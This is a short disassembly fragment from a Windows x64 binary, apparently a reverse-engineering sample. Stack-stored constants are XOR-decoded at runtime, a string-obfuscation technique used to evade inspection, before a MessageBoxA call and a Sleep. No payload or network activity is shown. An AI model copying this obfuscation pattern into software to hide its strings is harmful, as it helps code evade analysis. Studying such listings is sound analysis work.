mov qword [rbp + 0xd70], rax
mov qword [rsp + 0x50], rdx
lea rdx, [rbp + 0xcd0]
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd78], rax
movabs rax, 0x7bd26b437d23c7ad
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd80], rax
movabs rax, 0xdb543dfede06228e
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd88], rax
movabs rax, 0xba336fb186cf31ff
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0xd90], rax
movabs rax, 0x971e7bd47960d830
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movdqa xmm1, xmmword [rbp + 0xce0]
pxor xmm1, xmmword [rbp + 0xd50]
movdqa xmm0, xmmword [rbp + 0xd40]
pxor xmm0, xmmword [rbp + 0xcd0]
movdqa xmmword [rbp + 0xcd0], xmm0
movdqa xmm0, xmmword [rbp + 0xcf0]
pxor xmm0, xmmword [rbp + 0xd60]
movdqa xmmword [rbp + 0xce0], xmm1
movdqa xmm1, xmmword [rbp + 0xd00]
pxor xmm1, xmmword [rbp + 0xd70]
movdqa xmmword [rbp + 0xcf0], xmm0
movdqa xmm0, xmmword [rbp + 0xd10]
pxor xmm0, xmmword [rbp + 0xd80]
movdqa xmmword [rbp + 0xd00], xmm1
movdqa xmm1, xmmword [rbp + 0xd20]
mov qword [rbp + 0xd98], rax
pxor xmm1, xmmword [rbp + 0xd90]
movdqa xmmword [rbp + 0xd10], xmm0
movdqa xmmword [rbp + 0xd20], xmm1
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp + 0xc18]
cmp rdx, 0x10
jb 0x14000d0c9
mov rcx, qword [rbp + 0xc00]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d0c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d115
call fcn.140025aec
mov rdx, qword [rbp + 0xc38]
cmp rdx, 0x10
jb 0x14000bfc7
mov rcx, qword [rbp + 0xc20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d105
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d115
call fcn.140025aec
jmp 0x14000bfc7
call fcn.14007407c
int3
call fcn.14007407c
int3
call fcn.14007407c
int3
call fcn.140001280
int3